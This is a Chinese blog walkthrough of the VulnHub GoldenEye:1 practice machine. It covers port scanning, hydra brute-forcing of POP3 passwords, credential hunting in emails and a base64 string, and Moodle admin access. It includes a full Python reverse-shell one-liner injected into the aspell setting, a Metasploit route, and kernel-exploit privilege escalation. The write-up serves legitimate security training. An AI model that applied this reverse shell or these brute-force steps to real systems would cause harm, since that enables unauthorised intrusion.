sosonp's blog

focus on cybersecurity

0%

vulnhub-GOLDENEYE:1 walkthrough

目标靶机

GOLDENEYE:1

涉及漏洞

  • POP3 弱口令
  • web命令执行
  • 内核漏洞

信息收集

获取目标机器ip
1.png

端口扫描
25、80、55006、55007端口开放,有smtp、http、pop3应用
2.png
3.png

Nikto scan
发现一个splashAdmin.php页面
4.png

dirbuster扫描路径没发现
5.png

访问80端口页面,提示到/sev-home/页面登陆
6.png

访问弹出一个登陆验证框,尝试一些常用弱口令无法登陆
7.png

访问/splashAdmin.php页面如下
8.png

由nikto扫描信息可知这是个Cobalt Qube 3应用,查找相关漏洞
9.png
10.png

按照漏洞利用方式尝试之后没有创建admin用户,暂时放弃这条路。

回到主页,查看页面源码,发现一个terminal.js
11.png

查看terminal.js代码,发现提示
12.png

根据提示,用户名可能是Boris,密码应该是那段html编码的字符,解码后得到InvincibleHack3r
13.png

回到登陆页面,利用用户名Boris和密码InvincibleHack3r登陆失败,用户名换成小写boris登陆成功
14.png

页面提示让发邮件获取管理员手册,邮件服务使用非标准的高端口pop3协议运行,根据扫描信息,55007端口是pop3应用

使用刚才的web用户名密码登陆失败
15.png

指定用户名,使用hydra爆破pop3密码,字典使用kali自带的fasttrack,爆破出密码是secret1!
16.png

使用telnet连接pop3查看邮件
17.png
18.png

看了3封boris的邮件并没发现太多有用的信息,但提到了natalya和xenia两个用户名

继续尝试对natalya爆破,得到密码是bird
19.png

登陆natalya的邮箱,查看邮件
20.png

第二封邮件发现有价值的信息
21.png

得到用户名/密码:xenia/RCP90rulez!

按照邮件提示配置host:severnaya-station.com
22.png

浏览器访问severnaya-station.com/gnocertdir
23.png

使用用户名/密码:xenia/RCP90rulez!登陆
24.png

登陆后是一个类似于博客的系统,浏览了一遍没发现文件上传、命令执行等漏洞

在一个页面发现另外一个邮箱用户名: doak
25.png

用刚才的方式破解,得到密码goat
26.png

登陆邮箱查看
得到web系统的登陆用户名密码:dr_doak/4England!
27.png

用用户名密码:dr_doak/4England!登陆web系统

浏览到My private files页面发现一个文件
28.png

下载查看如下
29.png

访问 http://severnaya-station.com/dir007key/for-007.jpg
30.png

下载图片,用file命令查看信息,发现一串base64:eFdpbnRlcjE5OTV4IQ==
31.png

解密得到明文:xWinter1995x!
32.png

漏洞利用

getshell(方法1)

结合上面的信息,猜测是admin的密码,使用admin/xWinter1995x! 登陆web系统

浏览配置项,发现一处aspell的路径配置,根据说明,aspell是输入框拼写检查的工具,这里写入一段反弹shell命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.25.158.138",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

33.png

进入到新建博客页面,点击拼写检查按钮触发,但没拿到反弹shell,后续尝试了bash和nc的命令也不行。
34.png

配置页面搜索spell配置,发现一处有spell解析器配置,默认是google的引擎,把这里改成PSpellShell,再次点击拼写检查按钮,这次获取反弹shell成功
35.png

用户是www-data
36.png

getshell(方法2)

37.png
Server - enviroment页面有系统信息,叫moodle,版本是2.2.3
google发现metasploit有漏洞利用模块
38.png

打开metasploit,搜索利用模块
39.png

设置参数
40.png

getshell成功
41.png

提权

系统内核版本是ubuntu 3.13.0-32-generic,且没有gcc
42.png

找到这个提权代码符合版本
43.png

在本地ubuntu机器编译好传过去运行,报错
44.png

根据报错,程序调用了gcc命令,机器上有cc但没有gcc,于是把代码调用了gcc命令的那行替换成cc
45.png

重新上传到目标机器编译运行
46.png

提权成功,读取flag文件
47.png

访问/006-final/xvf7-flag/ 页面如下
48.png